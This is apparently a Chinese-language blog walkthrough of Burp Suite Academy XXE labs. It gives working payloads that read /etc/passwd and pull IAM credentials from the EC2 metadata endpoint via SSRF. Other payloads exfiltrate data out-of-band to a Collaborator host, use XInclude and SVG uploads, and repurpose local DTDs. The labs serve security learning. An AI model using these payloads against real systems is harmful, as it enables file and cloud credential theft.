XML external entity (XXE) injection

burpsuit 靶场的 xxe
image.png

APPRENTICE (学徒)

利用XXE 执行外部文件

Exploiting XXE using external entities to retrieve files

目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.

进入实验室
image.png

是一个卖东西的网站 抓包 看看数据
当我点击 Check stock 抓包

image.png
发现 post 数据里面存在xml 格式的数据
如果把数据改成我们想要的内容了 比如执行system 获取文件内容
使用 file协议直接读取到了 /etc/passwd 文件
image.png

payload


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&file;</productId><storeId>1</storeId></stockCheck>

利用 XXE 执行 SSRF 攻击

(Exploiting XXE to perform SSRF attacks)

目标 :
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.

还是一样的检索数据的 功能
image.png

点击抓包
还是直接存在 xml 数据
image.png

根据burpsuit 靶场 要求我们获取的敏感数据
这里就是把file 换成了 http 进行探测获取铭感信息
image.png

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&ssrf;</productId><storeId>1</storeId></stockCheck>

PRACTITIONER (专业人员 )

XXE盲打

SQL盲注类似,就是我们无法直接从响应中获取到想要的结果,但是我们可以通过如带外的方式将结果发送到接收端的方式实现。前面讲过可以利用XXE发动SSRF攻击请求URL,我们可以将结果附在URL后面,这样在接收端就能接收到结果了。我们还可以通过触发报错信息的方式获取敏感信息。

使用带外(OAST)技术探测XXE盲打

如利用XXE发动SSRF攻击,带外技术通过XXE与远端服务器进行交互,从而探测是否存在XXE盲打漏洞,例如
]>
有些情况下,目标服务器对常规XXE攻击进行了防护,不过我们可以尝试使用XML参数实体,例如
%xxe; ]>
通过定义参数实体同样可以用来探测XXE盲打。

Blind XXE with out-of-band interaction (带外交互deXXE)


还是一样的界面
image.png
但是这里使用原来的file 去读取文件 是不可行的了
image.png
那就使用XXE 盲打 外带
发到repeater,然后构造payload,将burp collaborator的地址插进去
image.png
由于我这个burp 的 Collaborator 有点问题 一直接收不了外带的数据
image.png
image.png
这里如果 外带 互联网的数据 还是不行 burp 官方只让带burp 的那个 这里
image.png

由于这里burp 的原因就展示不出外带的结果 当然这里外带的方法就是这样的

Blind XXE with out-of-band interaction via XML parameter entities (通过XML参数实体使用带外交互的XXE盲打)

因为常规外部实体被禁用了,所以可以尝试使用参数实体,构造payload
image.png

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [ <!ENTITY  % xxe SYSTEM "http://s4xi9f5ycn796biaz8qtrofzyq4gs5.burpcollaborator.net"> %xxe ]>

<stockCheck><productId>1</productId><storeId>2</storeId></stockCheck>

Exploiting blind XXE to exfiltrate data using a malicious external DTD (使用一个恶意外部DTD利用XXE盲打泄露数据)

先使用
image.png
Go to exploit server 构造 dtd 文件
image.png
然后在xxe漏洞利用点去加载 这个 dtd文件
image.png

我这里只做 步骤和发现 实现的话 由于这个靶场外带不了到其他平台 这边burp 又有问题

Exploiting blind XXE to retrieve data via error messages(通过报错信息利用XXE盲打泄露数据)

和上面的方法一样 先在服务器创建一个 dtd文件
image.png

然后抓包再修改有xxe 漏洞利用的地方
我们加载了一个不存在的文件以触发报错,然后我们在漏洞点加载这个恶意外部DTD
image.png
成功获取到了信息

Exploiting XInclude to retrieve files (利用Xinclude 检索文件)

By default, XInclude will try to parse the included document as XML. Since /etc/passwd isn’t valid XML, you will need to add an extra attribute to the XInclude directive to change this behavior.
默认情况下,XInclude将尝试将包含的文档解析为XML。由于/etc/passwd不是有效的XML,您需要向XInclude指令添加一个额外的属性来改变这种行为。

有些应用程序的服务端会将从客户端接收的内容嵌入到XML文档中然后解析,这就导致因为我们无法控制整个XML文档而无法发动常规的XXE攻击,但是我们可以通过XInclude在该XML文档中构建子XML文档,想要使用XInclude我们需要引入相应的命名空间,所以XInclude攻击的payload长这样

同样的界面 不同的数据
image.png

先发送一条带有xml 的数据
image.png
会发现报错
发送 Xincluide 攻击的 payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

image.png

Exploiting XXE via image file upload 通过文件上传的XXE攻击

既然是文件上传
先找上传点
image.png
再制作一个xml 的svg 图像

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

上传 .svg 文件之后 f12 查看图片
就会发现执行了命令
image.png

EXPERT

Exploiting XXE to retrieve data by repurposing a local DTD (通过复用本地DTD利用XXE盲打)

image.png
本地dtd复用 那就需要本地存在dtd文件
刚好靶场环境提示了 存在 dtd文件
Convex LAB没有解决这个实验室有一个“检查库存”特性,它可以解析XML输入,但不显示结果。要解决实验室问题,触发包含/etc/passwd文件内容的错误消息。您需要引用服务器上现有的DTD文件,并从中重新定义一个实体。提示使用GNOME桌面环境的系统通常有一个位于/usr/share/ yyelp / DTD /docbook .的DTD包含名为Isoamso的实体的dtd。进入实验室

抓包
image.png
使用 local_dtd 把本地文件给引用进来
内部DTD中有一个参数实体叫custom_entity,然后重写了这个参数实体,
在参数实体内部声明参数实体时关键字需要使用它的html编码格式,比如

& -> &
' -> '

其他的和前面利用报错信息的XXE盲打方式是一样
这种复用本地DTD的攻击方式重点在于我们能不能找到一个这样的本地DTD,现在很多应用程序都是开源的,所以我们可以下载源码包进行查找。
Payload

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

执行成功
image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值